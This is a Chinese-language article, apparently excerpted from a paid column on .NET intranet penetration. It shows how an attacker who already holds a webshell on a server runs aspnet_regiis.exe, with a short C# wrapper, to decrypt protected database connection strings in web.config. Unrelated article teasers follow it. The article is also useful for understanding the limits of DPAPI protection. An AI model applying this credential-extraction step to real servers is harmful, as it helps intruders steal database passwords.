.NET内网实战:通过命令行解密Web.config

news/2024/9/20 6:20:08 标签: .net, 前端, web安全, 安全, 学习, 矩阵

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

图片

03编码实现

在.NET应用系统中,保护数据库连接字符串的安全性至关重要。.NET 提供了一种通过 DataProtectionConfigurationProvider 加密连接字符串的方法,以防止敏感数据泄露。然而,在内网信息收集阶段,攻击者只需在目标主机上运行aspnet_regiis.exe这个命令行工具即可完成解密,获取数据库连接的明文字符串。

3.1 aspnet_regiis是什么

aspnet_regiis.exe 是一个命令行工具,用于配置和管理 .NET 应用程序在 IIS 中的注册和设置。该工具通常与 .NET 版本一起安装,用于执行各种与 ASP.NET 配置相关的任务。

使用 aspnet_regiis 工具将特定版本的 ASP.NET 注册到 IIS 上,确保 .NET 应用程序可以在该版本上运行,注册命令如下所示:

aspnet_regiis -i

3.2 .NET加解密提供器

DataProtectionConfigurationProvider 是 .NET Framework 2.0 引入的默认加密提供程序之一,主要用于在单台服务器上加密和解密配置文件数据。原理上使用 Windows Data Protection API (DPAPI) 进行加密,这意味着加密数据与操作系统的用户或机器密钥绑定。只有加密时使用的同一用户帐户或同一台机器才能解密数据。假设在 web.config 中有一个连接字符串如下所示。

<connectionStrings>
  <add name="MyDb" connectionString="Data Source=myServer;Initial Catalog=myDb;User ID=myUser;Password=myPass;" providerName="System.Data.SqlClient" />
</connectionStrings>

使用aspnet_regiis.exe进行加密数据库连接字符串的命令如下所示。

aspnet_regiis -pef "connectionStrings" "C:\path\to\your\project" -prov "DataProtectionConfigurationProvider"

加密后,内容将被替换成如下所示。

<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
  <EncryptedData>
    <CipherData>
        <CipherValue>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAnu1l5eTFekKy...</CipherValue>
    </CipherData>
  </EncryptedData>
</connectionStrings>

解密连接字符串的命令如下所示。因此,这种加密方式适用于单台服务器环境下的配置文件保护,不适合在多个服务器之间共享加密的数据。密钥由 Windows 操作系统管理,不需要额外的密钥管理。

aspnet_regiis -pdf "connectionStrings" "C:\path\to\your\project"

3.3 技术实现

该工具首先会将站点根目录下的 web.config 文件复制到一个新创建的 dotNetMatrix 目录中,以防止直接操作原始配置文件导致意外损坏,具体代码如下所示。

string webConfigPath = Path.Combine(exeDirectory, "web.config");
string targetDirectory = Path.Combine(exeDirectory, "dotNetMatrix");
string targetWebConfigPath = Path.Combine(targetDirectory, "web.config");
if (File.Exists(webConfigPath))
{
    Directory.CreateDirectory(targetDirectory); 
    File.Copy(webConfigPath, targetWebConfigPath, true); 
    Console.WriteLine($"web.config 已复制到 {targetWebConfigPath}");
}

通过 File.Exists 判断 web.config 文件是否存在,然后创建 dotNetMatrix 目录,并将 web.config 文件复制到该目录下。随后,使用 ProcessStartInfo 配置解密命令行参数,并启动 aspnet_regiis.exe 进程执行解密操作。

ProcessStartInfo psi = new ProcessStartInfo
{
    FileName = aspnetRegiisPath,
    Arguments = decryptCommand,
    UseShellExecute = false,
    RedirectStandardOutput = true,
    CreateNoWindow = true
};
using (Process process = Process.Start(psi))
{ 
    string result = process.StandardOutput.ReadToEnd(); 
    Console.WriteLine(result);
    process.WaitForExit(); 
}

最后,打开dotNetMatrix文件夹查看解密后的web.config内容,可以发现数据库连接字符串已经成功解密。如下图所示

图片

综上,使用DataProtectionConfigurationProvider 加密器可以提高攻击者获取明文密码的难度,但在获取目标webshell权限后,通过自动化攻击就可以完成加密连接字符串的解密操作。

04.NET 电子报刊

电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片


http://www.niftyadmin.cn/n/5666741.html

相关文章

Gradio 自定义组件

如何使用 Gradio 自定义组件&#xff0c;Gradio 前端使用 Svelte&#xff0c;后端使用的 Python。如何自定义一个组件呢&#xff1f;Gadio 提供了类似于脚手架的命令&#xff0c;可以生成需要开发组件的前后和后端代码。 创建组件 运行如下命令&#xff0c;gradio 会自动生成…

24/9/19 算法笔记 kaggle BankChurn数据分类

题目是要预测银行里什么样的客户会流失&#xff0c;流失的概率是多少 我这边先展示一下我写的二分类的算法 import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.linear_model impo…

mac m1 electron生产环境使用prisma,sqlite

最近在用electron开发一个适合自己的小应用&#xff0c;技术选型中使用prisma和sqlite在进行数据存储&#xff0c;写这篇文章的目的就是用来记录下遇到的一些问题。 开发环境使用prisma 1、开发环境使用prisma非常的简单&#xff0c;只需要按照教程安装prisma&#xff0c;然后…

自动驾驶,被逼着上市?

上市了&#xff0c;然后呢&#xff1f; 转载&#xff1a;定焦&#xff08;dingjiaoone&#xff09;原创 作者 | 黎明 编辑 | 魏佳 很多人从来没体验过自动驾驶&#xff0c;但自动驾驶公司正在抢着上市。 今年以来&#xff0c;已有十多家自动驾驶相关公司启动上市流程。最新上…

CDH Hive集群的create/drop慢问题,在200s 多一点处理分析

现象&#xff1a; CREATE TABLE test911 (SN String,PN_CODE String); Total time spent in this metastore function was greater than 1000ms : createTable_(Table, )200091 Hive集群的 create/drop 操作时间基本都稳定在 200s 多一点。 分析&#xff1a; HMS会实时向Sentr…

网课视频怎么录制?零基础屏幕录制方法分享

随着在线教育的兴起&#xff0c;网课录制成为了教师和学习者不可或缺的技能之一&#xff0c;无论是想要分享知识、制作教程&#xff0c;还是记录学习过程&#xff0c;掌握屏幕录制方法都至关重要。 这时候我们就需要一款简单易用、功能齐全的屏幕录制软件&#xff0c;市面上有…

kafka 超详细的消息订阅与消息消费几种方式

kafka 消息订阅与消息消费几种方式 本文主要内容 消费者订阅几种方式 订阅多个主题 按正则表达式订阅 消息消费几种方式 按分区消费 按主题消费 不区分 “ 笔者建议一开始学习Kafka最好不要用SpringBoot 集成方式,因为SpringBoot推崇用注解方式&#xff0c;比如KafkaList…

组件封装有哪些注意事项—面试常问优美回答

组件封装有哪些注意事项—面试常问优美回答 关键点及回答建议与代码案例 组件设计原则 关键点&#xff1a;高内聚低耦合、接口清晰、职责单一。回答建议&#xff1a; “在设计组件时&#xff0c;我遵循高内聚低耦合的原则&#xff0c;确保组件内部逻辑紧密相关&#xff0c;同…